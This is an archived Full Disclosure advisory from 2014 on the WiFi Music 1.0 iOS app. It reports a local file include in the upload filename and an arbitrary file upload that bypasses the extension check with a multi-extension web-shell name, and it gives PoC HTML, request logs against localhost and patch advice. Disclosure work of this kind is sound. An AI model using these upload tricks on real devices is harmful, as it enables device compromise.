[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Lazybone Studios WiFi Music 1.0 iOS - Multiple Vulnerabilities
From:       Vulnerability Lab <research () vulnerability-lab ! com>
Date:       2014-03-28 12:38:46
Message-ID: 53356D56.4020303 () vulnerability-lab ! com
[Download RAW message or body]

Document Title:
===============
Lazybone Studios WiFi Music 1.0 iOS - Multiple Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1233


Release Date:
=============
2014-03-21


Vulnerability Laboratory ID (VL-ID):
====================================
1233


Common Vulnerability Scoring System:
====================================
7.1


Product & Service Introduction:
===============================
WiFi Music lets you transfer via Wi-Fi the songs you have in your computer to any iPhone, iPod \
touch or iPad  in your network. No iTunes required. Now you can share them with your friends \
and workmates, and stream them  directly to almost any media player!

( Copy to the Vendor Homepage:  https://itunes.apple.com/de/app/wifi-music/id469617062 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple critical vulnerabilities in the \
official Lazybone Studios WiFi Music v1.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-03-21:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official Lazybone Studios \
WiFi Music v1.0 iOS mobile web-application. A file include web vulnerability allows remote \
attackers to unauthorized include local file/path requests or system specific path commands  to \
compromise the web-application or mobile device.

The web vulnerability is located in the `filename` value of the `Upload File` module. Remote \
attackers are able to inject own files with  malicious `filename` value in the upload POST \
method request to compromise the mobile web-application. The attack vector is persistent and  \
the request method is POST. The local file/path include execution occcurs in the main music \
file dir list. The security risk of the local  file include web vulnerability is estimated as \
high(+) with a cvss (common vulnerability scoring system) count of 6.7(+)|(-)6.8.

Exploitation of the local file include web vulnerability requires no user interaction but a \
privileged web-application user account with  low user auth. Successful exploitation of the \
local file include web vulnerability results in mobile application or connected device  \
component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Select File > Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Music File Dir List (http://localhost:8080/)



1.2
An arbitrary file upload web vulnerability has been discovered in the official Lazybone Studios \
WiFi Music v1.0 iOS mobile web-application. The arbitrary file upload issue allows remote \
attackers to upload files with multiple extensions to bypass the web-server or system \
validation.

The vulnerability is located in the `upload` (video and music) module. Remote attackers are \
able to upload a php or js web-shells by renaming  the file with multiple extensions to bypass \
the file restriction mechanism. The attacker uploads for example a web-shell with the following \
name  and extension `ptest.mp3.html.php.js.aspx.mp3`. After the upload the attacker needs to \
open the file with the path value in the web application.  He deletes the .mp3 file extension \
and can access the application with elevated executable access rights. The security risk of the \
arbitrary file  upload web vulnerability is estimated as high(+) with a cvss (common \
vulnerability scoring system) count of 7.7(+)|(-)7.8.

Exploitation of the arbitrary file upload web vulnerability requires no user interaction or \
privileged application user account with password. Successful exploitation of the vulnerability \
results in unauthorized file access because of a compromise after the upload of web-shells.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Select File > Upload

Vulnerable Parameter(s):
				[+] filename (multiple extensions)

Affected Module(s):
				[+] Music File Dir List (http://localhost:8080/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attackers without user \
interaction or privileged application user account. For security demonstration or to reproduce \
the vulnerability follow the provided information and steps below to continue.

PoC: iChm File Management - Index

<table border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th>Name</th><th class="del">Delete</th></tr>
</thead><tbody id="filelist">
<tr><td><a href="/files/%3C[LOCAL FILE INCLUDE VULNERABILITY!]%3E" class="file"><./[LOCAL FILE \
INCLUDE VULNERABILITY!]"></a></td> <td class='del'><form action='/files/%3C[LOCAL FILE INCLUDE \
VULNERABILITY!]%3E' method='post'><input name='_method' value='delete'  type='hidden'/><input \
name="commit" type="submit" value="Delete" class='button' \
/></td></tr></tbody></table></iframe></a></td></tr></tbody> </table>


Source: Vulnerable Java Script (iChm File Management - Index)

<script type="text/javascript" charset="utf-8">
		var now = new Date();
		$.getJSON("/files?"+ now.toString(),
		function(data){
		  var shadow = false;
		  $.each(data, function(i,item){
		    var trclass='';
		    if (shadow)
		      trclass= " class='shadow'";
			encodeName = encodeURI(item.name).replace("'", "'");
$("<tr" + trclass + "><td><a href='/files/" + encodeName + "' class='file'>" + item.name + \
"</a></td>" + "<td class='del'> <form action='/files/" + encodeName + "' method='post'><input \
name='_method' value='delete' type='hidden'/><input name=\"commit\"  type=\"submit\" \
value=\"Delete\" class='button' /></td>" + "</tr>").appendTo("#filelist");  shadow = !shadow;
		  });
		});
		</script>


--- PoC Session Logs [POST] ---
Status: 302[Found] 
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] \
Größe des Inhalts[67] Mime Type[text/html]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------280732177711982
Content-Disposition: form-data; name="newfile"; filename="<./[LOCAL FILE INCLUDE WEB \
                VULNERABILITY!]>"
Content-Type: image/png

Reference(s):
http://localhost:8080/[Index File Dir Listing]



1.2
The arbitrary file upload web vulnerability can be exploited by local attackers without user \
interaction or privileged application user account. For security demonstration or to reproduce \
the file upload web vulnerability follow the provided information and steps below to continue.

PoC: http://localhost:8080/files/[ARBITRARY FILE UPLOAD PATH]-ptest.mp3.html.php.js.aspx.mp3`

--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] \
Größe des Inhalts[67] Mime Type[text/html]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------141831923231387
Content-Disposition: form-data; name="newfile"; filename="ptest.mp3.html.php.js.aspx.mp3"
Content-Type: image/jpeg

Reference(s):
http://localhost:8080/files


Solution - Fix & Patch:
=======================
1.1
The local file include web vulnerability can be patched by a secure parse and encode of the \
vulnerable filename value in the upload file POST method request. Filter and encode also the \
filename output listing of the index.

1.2
Filter and restrict the file name validation on uploads to prevent arbitrary file upload \
attacks. Implement a secure own exception-handling to restrict and disallow files with multiple \
extensions. Reset the executable rights for html and php codes in the little web-server \
settings config for /files.


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability is estimated as high(-).

1.2
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) \
[www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. \
Vulnerability Lab disclaims all warranties,  either expressed or implied, including the \
warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or \
its suppliers are not liable in any case of damage, including direct, indirect, incidental, \
consequential loss of business  profits or special damages, even if Vulnerability-Lab or its \
suppliers have been advised of the possibility of such damages. Some  states do not allow the \
exclusion or limitation of liability for consequential or incidental damages so the foregoing \
limitation  may not apply. We do not approve or encourage anybody to break any vendor licenses, \
policies, deface websites, hack into databases  or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       - \
                admin@evolution-sec.com
Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - \
                magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - \
                youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - \
vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires \
authorization from Vulnerability Laboratory.  Permission to electronically redistribute this \
alert in its unmodified form is granted. All other rights, including the use of other  media, \
are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, \
advisories, source code, videos and  other information on this website is trademark of \
vulnerability-lab team & the specific authors or managers. To record, list (feed),  modify, use \
or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to \
get a permission.

				Copyright © 2014 | Vulnerability Laboratory [Evolution Security]



-- 
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com



_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic